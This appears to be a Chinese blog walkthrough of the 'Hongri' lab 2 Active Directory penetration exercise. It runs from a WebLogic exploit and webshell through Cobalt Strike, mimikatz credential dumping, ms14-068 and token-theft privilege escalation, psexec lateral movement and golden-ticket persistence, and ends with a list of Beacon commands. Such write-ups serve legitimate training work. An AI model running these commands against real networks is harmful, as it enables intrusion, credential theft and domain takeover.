红日靶场二 WalkThrough
红日靶场二 WalkThrough

前言

越来越菜了,暑假打算多花时间研究Windows这块,多审点代码,多做点题,java多学学开发和复现中间件CVE这块,总之就是多干点事别让自己闲着,写的还是比较浅。。

靶场拓扑图如下所示:

环境说明

DC:
IP:10.10.10.10
OS:Windows 2012
应用:AD域

WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去):
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
应用:Weblogic 10.3.6 MSSQL 2008

PC:
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7

内网网段:10.10.10.0/24
DMZ网段:192.168.111.0/24

WEB服务器需要以管理员身份手动开启服务,在C:\Oracle\Middleware\user_projects\domains\base_domain\bin下运行批处理程序startWeblogic即可启动weblogic

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动,注意PC机需要关闭防火墙,否则其他两台机器无法ping通PC机(防火墙导致无法发送icmp包)

这里为了方便在将物理机实现为攻击机,在WEB服务器中增加桥接网络,以便物理机能直接访问WEB服务器

WEB服务器 信息收集

该WEB服务器桥接网段为192.168.0.1/24,该主机IP为192.168.0.6,是WEB服务器首先对80端口进行收集,发现该端口没有内容,nmap收集该服务器信息,开放端口和服务如下:

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-07-22T05:27:37
| Not valid after:  2051-07-22T05:27:37
| MD5:   cd9c a9a8 84fd a39f 5073 9bfc 9ae7 dec5
|_SHA-1: 02e4 f828 917e 4978 0f8b d4c5 f253 da95 0b86 bd94
|_ssl-date: 2021-07-22T12:46:41+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-07-21T05:28:19
| Not valid after:  2022-01-20T05:28:19
| MD5:   c1d1 9a76 c599 358a 8527 34a6 b00f 6ce2
|_SHA-1: 71eb 0238 090b 80ea d143 36aa d3c0 7f8d bd5c 4d18
|_ssl-date: 2021-07-22T12:46:40+00:00; 0s from scanner time.
7001/tcp  open  http          Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC

开放了几个高危端口都存在利用之出,445端口开放即存在smb服务,存在smb服务就可能存在ms17-010端口溢出漏洞,开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞,1433端口则说明该服务器部署mssql,可能存在mssql弱口令从而通过mssql命令执行及提权等操作,7001端口开放WebLogic Server,由于是WEB服务器,因此可以先从weblogic入手。

使用weblogicScan探测是否存在已知漏洞:

发现可能存在反序列化漏洞,使用工具进行检测成功RCE

上传冰蝎马,上传路径可以参考该文章:
https://www.cnblogs.com/sstfy/p/10350915.html
由于之前检测uddiexplorer开放,这里选择将冰蝎shell上传到uddiexplorer目录下:

冰蝎连接后成功getshell

外网打点成功,下面展开对内网的信息收集和横向渗透。

内网信息收集与横向


发现存在3个网段,其中192.168.0.6是桥接网段,判断内网还存在192.168.111.1/24和10.10.10.1/24两个网段

这里首先需要进行提权,因此先使得CS上线,这里存在360杀软,绕360有手就行直接用PS上线即可

注意:在靶机中其实无法使用powershell,并且powershell不允许执行脚本,绕过360可以使用uuid加密的exe免杀,这里为了方便开启上帝模式使用ps上线

上线后使用mimikatz先常规抓取下内存中的NTML hash等,由于该WEB服务器为Windows Server 2008,因此可以抓取得到明文密码:


这台WEB服务器很幸运的被域控DC登陆过,因此留下了域控DC管理员的明文密码

查看已经打上的补丁,利用未修补补丁提权:

这里想使用CVE-2018-8120进行提权,并且该脚本使用大量2008版本的机器,但是本地一打所有的CS就掉线了,也不知道是啥原因

cve-2019-0803也会因为杀软的存在而无法上传文件成功,看其他文章使用的是ms14-068可以提权成功,不过本地没有该脚本,所以先放在这里讲下其原理:

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限,即如果该漏洞能够利用,那么只需要普通域用户账户就能够提权为域管理员权限,并且可以创建域管理员进行权限维持,该通过查看是否打补丁(KB3011780)来判断是否存在漏洞

利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

运行完成该命令后即可生成在当前文件夹生成票据,再通过Mimikatz将票据进行注入后:

mimikatz # kerberos::purge          //清空当前凭证
mimikatz # kerberos::list           //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件    //将上一步生成的票据注入到内存中

此时便能够以伪造的域管理员身份来列出域控的C盘,或者通过Psexec工具来获取域控的shell,添加域管理员等操作

最后使用的是CS内置模块evelate中的ms15-051进行提权

官方表示该漏洞影响的操作系统有:
Windows Server 2003,Windows Vista,Windows Server 2008,Windows Server 2008 R2等


成功得到SYSTEM权限

这里也可以通过令牌窃取的方式进行提权:

meterpreter > load incognito //加载incognito
meterpreter > getuid //查看当前token 
meterpreter > list_tokens -u //列出可用token 
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取,格式为impersonate_token"主机名\\用户名" 
meterpreter > getuid //查看当前token 
meterpreter > rev2self //返回之前的token 

Windows中的incognito

Metasploit中的incognito,是从windows平台下的incognito移植过来的,下面介绍一下windows平台下的incognito

常见用法如下:
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options] <token> <command>
提权至system:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:incognito.exe execute -c "WIN-R7MM90ERBMD\a" cmd.exe
伪造用户:incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe

不过通过CS进行steal token却以失败告终,这里还不太清楚原因,可能是需要管理员权限Administrator才能进行steal token操作

利用Token获得TrustedInstaller权限

在Windows系统中,获得了管理员权限和system权限,也不能修改系统文件
因为在Windows系统的最高权限为TrustedInstaller
我们可以使用如下方法来判断是否获得TrustedInstaller权限:

1.验证是否获得TrustedInstaller权限的方法
对特殊路径写文件
echo 1 > C:\Windows\servicing\1.txt
使用whoami
whoami /groups | findstr TrustedInstaller
使用Powershell
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

2.getsystem提升到system权限
3.sc命令启动服务TrustedInstaller
shell sc start trustedinstaller
4.ps命令找到TrustedInstaller的pid
ps
5.使用incognito获取TrustedInstaller.exe的token
steal_token TrustedInstall.exe的PID
6.写入文件成功,代表获得了TrustedInstaller权限

域信息收集

ipconfig /all发现机器有双网卡,内网10.10.10.1/24网段,域控为ip 10.10.10.10(注意:域控一般是本机的DNS服务器)

  • 查看域名:net config workstation

  • 查看域内主机:net view

  • 关闭防火墙 netsh advfirewall set allprofiles state off

注意在此前凭证收集时收集到了mssql用户的密码,该用户是在域内的,而进程中没有该用户驻留的进程,因此在这里我们使用spawn来切换用户:


转义用户后发现该用户同样是域用户:

此时域信息大致收集清楚:

使用Ladon探测下域内三台主机的IP和相关信息,准备进行横向渗透:


分别对应为:

10.10.10.10 域控 DC
10.10.10.80 WEB 服务器
10.10.10.201 PC 主机

由于已经存在相关凭证,这里考虑使用psexec使得域控上线:


需要注意的是使用psexec模块时会话必须是SYSTEM权限,并且使用SMB监听器进行监听

成功拿下域控DC服务器

此时在抓取下域控服务器的Hash:

其实当拿到域控后已经可以登录域内任意一台主机,这里还有一台PC机没有上线CS,这里我们直接使用psexec上线PC服务器,使用域控主机的会话即可:

至此域内全部主机上线:

域控权限维持

在域控获得KRBTGT账户NTLM密码哈希和SID


并且获取一个域管理员的SID

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

可以通过mimikatz命令直接获取krbtgt的SID值和哈希值。
lsadump::dcsync /domain:test.com /user:krbtgt

下面演示下在WEB服务器中使用mssql用户来伪造黄金票据获取最高权限:
未伪造黄金票据之前:


来看伪造成功后:

以mssql用户为例:


伪造黄金票据后:

结尾贴下Beacon的指令介绍

   browserpivot              注入受害者浏览器进程

   bypassuac                绕过UAC提升权限

   cancel                    取消正在进行的下载

   cd                       切换目录

   checkin                   强制让被控端回连一次

   clear                     清除Beacon内部的任务队列

   covertvpn                 部署Covert VPN客户端

   cp                       复制文件

   dcsync                    从DC中提取密码Hash

   desktop                   远程桌面服务

   dllinject                  反射DLL注入进程

   download                 下载文件

   downloads                列出正在进行的文件下载

   drives                     列出目标盘符

   elevate                    使用exp

   execute                   在目标机上执行程序

   exit                       结束beacon会话

   getsystem                 尝试获取SYSTEM权限

   getuid                     获取用户ID

   hashdump                 转储密码Hash值

   inject                     在注入进程生成会话

   jobkill                     结束一个后台任务

   jobs                      列出后台任务

   kerberos_ccache_use       从cache文件中导入票据应用于此会话

   kerberos_ticket_purge      清除当前会话的票据

   kerberos_ticket_use        从ticket文件中导入的票据应用于此会话

   keylogger                 键盘记录

   kill                       结束进程

   link                       通过命名管道连接到Beacon对等点

   logonpasswords            使用Mimikatz转储密码hash和凭证

   ls                        列出文件

   make_token                创建令牌以传递凭据

   mimikatz                  运行Mimikatz命令

   mkdir                     创建目录

   mode dns                 使用DNS A作为通信通道

   mode dns-txt              使用DNS TXT作为通信通道

   mode dns6                使用DNS AAAA作为通信通道

   mode http                 使用HTTP作为通信通道

   mv                       移动文件

   net                       运行net命令

   note                      备注      

   portscan                  端口扫描

   powerpick                 通过unmanaged powershell执行命令

   powershell                通过powershell.exe执行命令

   powershell-import          导入powershell脚本

   ppid                      为派生的post-ex进程设置父PID

   ps                        展示进程列表

   psexec                    使用服务在主机上生成会话

   psexec_psh                使用PowerShell在主机上生成会话

   psinject                   在特定进程中执行PowerShell命令

   pth                       使用Mimikatz进行哈希传递

   pwd                      显示出当前目录

   rev2self                   恢复原始令牌

   rm                       删除文件或文件夹

   rportfwd                  端口转发

   runas                     以其他用户权限执行程序

   runu                      以其他进程ID执行程序1

   screenshot                屏幕截图

   shell                      执行cmd命令

   shinject                   将shellcode注入进程

   shspawn                  启动一个进程并将shellcode注入

    sleep                     设置休眠时间

   socks                     启动SOCKS4代理

   socks stop                 停止SOCKS4

   spawn                     生成会话

   spawnas                   以另一用户身份生成会话

   spawnu                   以另一进程ID生成会话

   ssh                       使用ssh连接远程主机

   ssh-key                   使用密钥连接远程主机

   steal_token                从进程中窃取令牌

   timestomp                 将一个文件的时间戳应用到另一个文件

   unlink                     断开连接

   upload                    上传文件

   wdigest                    使用Mimikatz转储明文凭据

   winrm                     使用WinRM横向渗透

    wmi                       使用WMI横向渗透
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇